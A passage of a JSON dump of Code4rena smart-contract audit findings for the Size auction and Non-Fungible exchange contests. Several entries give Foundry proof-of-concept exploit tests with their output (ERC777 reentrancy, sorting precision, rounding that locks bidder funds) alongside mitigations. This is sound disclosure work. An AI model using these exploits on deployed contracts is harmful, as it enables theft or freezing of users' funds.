+= 1; ERC777(msg.sender).transferFrom(from, to, amount_cut_tax); return; } entry += 1; return; } function canImplementInterfaceForAddress(bytes32 interfaceHash, address addr) external view returns(bytes32){return keccak256(abi.encodePacked(\"ERC1820_ACCEPT_MAGIC\"));} } contract MyTest is SizeSealedTest { IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); function testCreateAuctionFromErc777() public { TaxERC777 tax777Token; address[] memory addrme = new address[](1); addrme[0] = address(this); tax777Token = new TaxERC777(\"t7\", \"t7\", addrme); seller = new MockSeller(address(auction), quoteToken, MockERC20(address(tax777Token))); Callback callbackImpl = new Callback(seller, baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent); // just without adding more function to MockSeller vm.startPrank(address(seller)); _ERC1820_REGISTRY.setInterfaceImplementer(address(seller), keccak256(\"ERC777TokensSender\"), address(callbackImpl)); tax777Token.approve(address(callbackImpl), type(uint256).max); vm.stopPrank(); seller.createAuction( baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent ); uint auction_balance = tax777Token.balanceOf(address(auction)); uint128 auction1_amount = get_auction_base_amount(1); uint128 auction2_amount = get_auction_base_amount(2); emit log_named_uint(\"auction balance\", auction_balance); emit log_named_uint(\"auction 1 totalBaseAmount\", auction1_amount); emit log_named_uint(\"auction 2 totalBaseAmount\", auction2_amount); assertGt(auction1_amount+auction2_amount, auction_balance); } function get_auction_base_amount(uint id) private returns (uint128){ (, ,AuctionParameters memory para) = auction.idToAuction(id); return para.totalBaseAmount; } } ``` You should fork mainnet because the test needs to call the ERC1820Registry contract at `0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24` ``` forge test --match-test testCreateAuctionFromErc777 -vvvvv --fork-url XXXXXXXX ``` Test passed and print logs: ``` ... ... \u251c\u2500 [4900] SizeSealed::idToAuction(1) [staticcall] \u2502 \u2514\u2500 \u2190 (1657269193, 1657269253, 1657269293, 1657270193, 0), (0xbfFb01bB2DDb4EfA87cB78EeCB8115AFAe6d2032, 0, 340282366920938463463374607431768211455, 0), (0x3A1148FE01e3c4721D93fe8A36c2b5C29109B6ae, 0xCe71065D4017F316EC606Fe4422e11eB2c47c246, 170141183460469231731687303, 10000000000000000000, 1000000, 0x0000000000000000000000000000000000000000000000000000000000000000, (9128267825790407824510503980134927506541852140766882823704734293547670668960, 16146712025506556794526643103432719420453319699545331060391615514163464043902)) \u251c\u2500 [4900] SizeSealed::idToAuction(2) [staticcall] \u2502 \u2514\u2500 \u2190 (1657269193, 1657269253, 1657269293, 1657270193, 0), (0xbfFb01bB2DDb4EfA87cB78EeCB8115AFAe6d2032, 0, 340282366920938463463374607431768211455, 0), (0x3A1148FE01e3c4721D93fe8A36c2b5C29109B6ae, 0xCe71065D4017F316EC606Fe4422e11eB2c47c246, 170141183460469231731687303, 5000000000000000000, 1000000, 0x0000000000000000000000000000000000000000000000000000000000000000, (9128267825790407824510503980134927506541852140766882823704734293547670668960, 16146712025506556794526643103432719420453319699545331060391615514163464043902)) \u251c\u2500 emit log_named_uint(key: auction balance, val: 10000000000000000000) \u251c\u2500 emit log_named_uint(key: auction 1 totalBaseAmount, val: 10000000000000000000) \u251c\u2500 emit log_named_uint(key: auction 2 totalBaseAmount, val: 5000000000000000000) \u2514\u2500 \u2190 () Test result: ok. 1 passed; 0 failed; finished in 7.64s ``` ## Tools Used foundry ## Recommended Mitigation Steps check re-entrancy"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/187", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-18"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/184", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-11"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/183", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-10"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/182", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-17"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/174", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-09"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/160", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-16"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/157", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-15"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/155", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-14"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/153", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-08"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/139", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-13"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-12"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-11"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/108", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-07"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Risk of infomation leakage due to bid with plain quote amount as input parameter", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/103", "labels": ["bug", "downgraded by judge", "grade-b", "QA (Quality Assurance)", "edited-by-warden", "Q-06"], "target": "2022-11-size-findings", "body": "Risk of infomation leakage due to bid with plain quote amount as input parameter"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/99", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-10"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "The sorting logic is not strict enough", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/97", "labels": ["bug", "2 (Med Risk)", "satisfactory", "selected for report", "sponsor confirmed", "M-03"], "target": "2022-11-size-findings", "body": "# Lines of code https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L269-L277 # Vulnerability details ## Impact When the seller finalizes his auction, all bids are sorted according to the `quotePerBase` and it's calculated using the `FixedPointMathLib.mulDivDown()`. And the earliest bid will be used first for the same `quotePerBase` but this ratio is not strict enough so that the worse bid might be filled than the better one. As a result, the seller might receive fewer quote token than he wants. ## Proof of Concept This is the test to show the scenario. ```solidity function testAuditWrongSorting() public { // this test will show that it is possible the seller can not claim the best bid because of the inaccurate comparison in finalization uint128 K = 1<<64; baseToSell = K + 2; uint256 aid = seller.createAuction( baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent ); bidder1.setAuctionId(aid); bidder1.bidOnAuctionWithSalt(K+1, K, \"Worse bidder\"); bidder2.setAuctionId(aid); bidder2.bidOnAuctionWithSalt(K+2, K+1, \"Better bidder\"); // This is the better bid because (K+1)/(K+2) > K/(K+1) vm.warp(endTime); uint256[] memory bidIndices = new uint[](2); bidIndices[0] = 1; // the seller is smart enough to choose the correct order to (1, 0) bidIndices[1] = 0; vm.expectRevert(ISizeSealed.InvalidSorting.selector); seller.finalize(bidIndices, K+2, K+1); // this reverts because of #273 // next the seller is forced to call the finalize with parameter K+1, K preferring the first bidder bidIndices[0] = 0; bidIndices[1] = 1; seller.finalize(bidIndices, K+1, K); // at this point the seller gets K quote tokens while he could get K+1 quote tokens with the better bidder assertEq(quoteToken.balanceOf(address(seller)), K); } ``` This is the output of the test. ```solidity Running 1 test for src/test/SizeSealed.t.sol:SizeSealedTest [PASS] testAuditWrongSorting() (gas: 984991) Test result: ok. 1 passed; 0 failed; finished in 7.22ms ``` When it calculates the [quotePerBase](https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L269), they are same each other with `(base, quote) = (K+1, K) and (K+2, K+1) when K = 1<<64`. So the seller can receive `K+1` of the quote token but he got `K`. I think `K` is realistic enough with the 18 decimals token because K is around 18 * 1e18. ## Tools Used Foundry ## Recommended Mitigation Steps As we can see from the test, it's not strict enough to compare bidders using `quotePerBase`. We can compare them by multiplying them like below. $\\frac {quote1}{base1} >= \\frac{quote2}{base2} <=> quote1 * base2 >= quote2 * base1 $ So we can add 2 elements to `FinalizeData` struct and modify [this comparison](https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L269-L277) like below. ```solidity struct FinalizeData { uint256 reserveQuotePerBase; uint128 totalBaseAmount; uint128 filledBase; uint256 previousQuotePerBase; uint256 previousIndex; uint128 previousQuote; //++++++++++++ uint128 previousBase; //+++++++++++ } ``` ```solidity uint256 quotePerBase = FixedPointMathLib.mulDivDown(b.quoteAmount, type(uint128).max, baseAmount); if (quotePerBase >= data.previousQuotePerBase) { // If last bid was the same price, make sure we filled the earliest bid first if (quotePerBase == data.previousQuotePerBase) { uint256 currentMult = uint256(b.quoteAmount) * data.previousBase; //mult for current bid uint256 previousMult = uint256(data.previousQuote) * baseAmount; //mult for the previous bid if (currentMult > previousMult) { // current bid is better revert InvalidSorting(); } if (currentMult == previousMult && data.previousIndex > bidIndex) revert InvalidSorting(); } else { revert InvalidSorting(); } } ... data.previousBase = baseAmount; data.previousQuote = b.quoteAmount; ```"}, {"title": "Bidders might fail to withdraw their unused funds after the auction was finalized because the contract doesn't have enough balance.", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/94", "labels": ["bug", "3 (High Risk)", "primary issue", "satisfactory", "selected for report", "sponsor confirmed", "H-01"], "target": "2022-11-size-findings", "body": "# Lines of code https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L325 # Vulnerability details ## Impact Bidders might fail to withdraw their unused funds after the auction was finalized because the contract doesn't have enough balance. The main flaw is the seller might receive more quote tokens than the bidders offer after the auction was finalized. If there is no other auctions to use the same quote token, the last bidder will fail to withdraw his funds because the contract doesn't have enough balance of quote token. ## Proof of Concept After the auction was finalized, the seller receives the `filledQuote` amount of quote token using [data.filledBase](https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L325). ```solidity // Calculate quote amount based on clearing price uint256 filledQuote = FixedPointMathLib.mulDivDown(clearingQuote, data.filledBase, clearingBase); ``` But when the bidders withdraw the funds using `withdraw()`, they offer the quote token [using this formula](https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L375-L382). ```solidity // Refund unfilled quoteAmount on first withdraw if (b.quoteAmount != 0) { uint256 quoteBought = FixedPointMathLib.mulDivDown(baseAmount, a.data.lowestQuote, a.data.lowestBase); uint256 refundedQuote = b.quoteAmount - quoteBought; b.quoteAmount = 0; SafeTransferLib.safeTransfer(ERC20(a.params.quoteToken), msg.sender, refundedQuote); } ``` Even if they use the same clearing price, the total amount of quote token that the bidders offer might be less than the amount that the seller charged during finalization because the round down would happen several times with the bidders. This is the test to show the scenario. ```solidity function testAuditBidderMoneyLock() public { // in this scenario, we show that bidder's money can be locked due to inaccurate calculation of claimed quote tokens for a seller uint128 K = 1 ether; baseToSell = 4*K; uint256 aid = seller.createAuction( baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent ); bidder1.setAuctionId(aid); bidder1.bidOnAuctionWithSalt(3*K, 3*K+2, \"Honest bidder\"); bidder2.setAuctionId(aid); bidder2.bidOnAuctionWithSalt(2*K, 2*K+1, \"Honest bidder\"); vm.warp(endTime); uint256[] memory bidIndices = new uint[](2); bidIndices[0] = 0; bidIndices[1] = 1; seller.finalize(bidIndices, 2*K, 2*K+1); emit log_string(\"Seller claimed\"); // seller claimed 4*K+2 assertEq(quoteToken.balanceOf(address(seller)), 4*K+2); // contract has K+1 quote token left assertEq(quoteToken.balanceOf(address(auction)), K+1); // bidder1 withdraws bidder1.withdraw(); emit log_string(\"Bidder 1 withdrew\"); // contract has K quote token left assertEq(quoteToken.balanceOf(address(auction)), K); // bidder2 withdraws and he is supposed to be able to claim K+1 quote tokens // but the protocol reverts because of insufficient quote tokens bidder2.withdraw(); emit log_string(\"Bidder 2 withdrew\"); // will not happen } ``` The test result shows the seller charged more quote token than the bidders offer so the last bidder can't withdraw his unused quote token because the contract doesn't have enough balance. ```solidity Running 1 test for src/test/SizeSealed.t.sol:SizeSealedTest [FAIL. Reason: TRANSFER_FAILED] testAuditBidderMoneyLock() (gas: 954985) Logs: Seller claimed Bidder 1 withdrew Test result: FAILED. 0 passed; 1 failed; finished in 6.94ms Failing tests: Encountered 1 failing test in src/test/SizeSealed.t.sol:SizeSealedTest [FAIL. Reason: TRANSFER_FAILED] testAuditBidderMoneyLock() (gas: 954985) ``` ## Tools Used Foundry ## Recommended Mitigation Steps Currently, the `FinalizeData` struct contains the `filledBase` only and calculates the `filledQuote` using the clearing price. ```solidity struct FinalizeData { uint256 reserveQuotePerBase; uint128 totalBaseAmount; uint128 filledBase; uint256 previousQuotePerBase; uint256 previousIndex; } ``` I think we should add one more field `filledQuote` and update it during auction finalization. And the seller can recieve the sum of `filledQuote` of all bidders to avoid the rounding issue. Also, each bidder can pay the `filledQuote` of quote token and receive the `filledBase` of base token without calculating again using the clearing price."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-09"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/88", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-08"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/83", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "edited-by-warden", "Q-05"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/74", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-07"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/62", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-04"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/61", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-06"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/57", "labels": ["bug", "grade-a", "QA (Quality Assurance)", "selected for report", "Q-03"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "grade-a", "selected for report", "G-05"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/52", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-04"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Solmate's ERC20 does not check for token contract's existence, which opens up possibility for a honeypot attack", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/48", "labels": ["bug", "2 (Med Risk)", "downgraded by judge", "satisfactory", "selected for report", "edited-by-warden", "duplicate-318", "M-02"], "target": "2022-11-size-findings", "body": "Solmate's ERC20 does not check for token contract's existence, which opens up possibility for a honeypot attack"}, {"title": "Incompatibility with fee-on-transfer/inflationary/deflationary/rebasing tokens, on both base tokens and quote tokens, with varying impacts", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "selected for report", "edited-by-warden", "duplicate-255", "M-01"], "target": "2022-11-size-findings", "body": "Incompatibility with fee-on-transfer/inflationary/deflationary/rebasing tokens, on both base tokens and quote tokens, with varying impacts"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/27", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-02"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-03"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/5", "labels": ["bug", "grade-a", "QA (Quality Assurance)", "edited-by-warden", "Q-01"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/4", "labels": ["bug", "G (Gas Optimization)", "grade-a", "edited-by-warden", "G-02"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-01"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/1", "labels": [], "target": "2022-11-size-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/261", "labels": ["bug", "grade-a", "QA (Quality Assurance)", "selected for report", "Q-21"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/242", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-20"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/228", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-29"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/223", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-28"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/221", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-19"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/220", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-27"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/219", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-18"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/218", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-26"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/217", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-25"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/209", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "edited-by-warden", "Q-17"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/208", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-24"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/203", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-23"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/199", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-22"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/196", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-16"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Pool designed to be upgradeable but does not set owner, making it unupgradeable", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/186", "labels": ["bug", "2 (Med Risk)", "primary issue", "selected for report", "sponsor confirmed", "M-04"], "target": "2022-11-non-fungible-findings", "body": "# Lines of code https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Pool.sol#L13 # Vulnerability details ## Description The docs state: \"*The pool allows user to predeposit ETH so that it can be used when a seller takes their bid. It uses an ERC1967 proxy pattern and only the exchange contract is permitted to make transfers.*\" Pool is designed as an ERC1967 upgradeable proxy which handles balances of users in Not Fungible. Users may interact via deposit and withdraw with the pool, and use the funds in it to pay for orders in the Exchange. Pool is declared like so: ``` contract Pool is IPool, OwnableUpgradeable, UUPSUpgradeable { function _authorizeUpgrade(address) internal override onlyOwner {} ... ``` Importantly, it has no constructor and no initializers. The issue is that when using upgradeable contracts, it is important to implement an initializer which will call the base contract's initializers in turn. See how this is done correctly in Exchange.sol: ``` /* Constructor (for ERC1967) */ function initialize( IExecutionDelegate _executionDelegate, IPolicyManager _policyManager, address _oracle, uint _blockRange ) external initializer { __Ownable_init(); isOpen = 1; ... } ``` Since Pool skips the \\_\\_Ownable_init initialization call, this logic is skipped: ``` function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } ``` Therefore, the contract owner stays zero initialized, and this means any use of onlyOwner will always revert. The only use of onlyOwner in Pool is here: ``` function _authorizeUpgrade(address) internal override onlyOwner {} ``` The impact is that when the upgrade mechanism will check caller is authorized, it will revert. Therefore, the contract is unexpectedly unupgradeable. Whenever the EXCHANGE or SWAP address, or some functionality needs to be changed, it would not be possible. ## Impact The Pool contract is designed to be upgradeable but is actually not upgradeable ## Proof of Concept In the 'pool' test in execution.test.ts, add the following lines: ``` it('owner configured correctly', async () => { expect(await pool.owner()).to.be.equal(admin.address); }); ``` It shows that the pool after deployment has owner as 0x0000...00 ## Tools Used Manual audit, hardhat ## Recommended Mitigation Steps Implement an initializer for Pool similarly to the Exchange.sol contract."}, {"title": "All orders which use expirationTime == 0 to support oracle cancellation are not executable.", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/181", "labels": ["bug", "2 (Med Risk)", "primary issue", "selected for report", "sponsor acknowledged", "M-03"], "target": "2022-11-non-fungible-findings", "body": "All orders which use expirationTime == 0 to support oracle cancellation are not executable."}, {"title": "Hacked owner or malicious owner can immediately steal all assets on the platform", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/179", "labels": ["bug", "2 (Med Risk)", "primary issue", "selected for report", "sponsor acknowledged", "M-02"], "target": "2022-11-non-fungible-findings", "body": "Hacked owner or malicious owner can immediately steal all assets on the platform"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/168", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-15"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/164", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-14"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/163", "labels": ["bug", "grade-a", "QA (Quality Assurance)", "Q-13"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/161", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "edited-by-warden", "Q-12"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/152", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-21"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/144", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-20"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/142", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-11"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/134", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-10"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-19"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-18"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/125", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-17"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-16"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/120", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "edited-by-warden", "Q-09"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/104", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-15"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-14"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/98", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-13"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Direct theft of buyers ETH funds.", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/96", "labels": ["bug", "3 (High Risk)", "primary issue", "selected for report", "sponsor confirmed", "edited-by-warden", "H-01"], "target": "2022-11-non-fungible-findings", "body": "# Lines of code https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168 https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L565 https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L212 https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L154 # Vulnerability details ## Impact Most severe issue: **A Seller or Fee recipient can steal ETH funds from the buyer when he is making a single or bulk execution. (Direct theft of funds).** Additional impacts that can be caused by these bugs: 1. Seller or Fee recipient can cause next in line executions to revert in `bulkExecute` (by altering `isInternal`, insufficient funds, etc..) 2. Seller or Fee recipient can call `_execute` externally 3. Seller or Fee recipient can set a caller `_remainingETH` to 0 (will not get refunded) ## Proof of Concept Background: * The protocol added a `bulkExecute` function that allows multiple orders to execute. The implementation is implemented in a 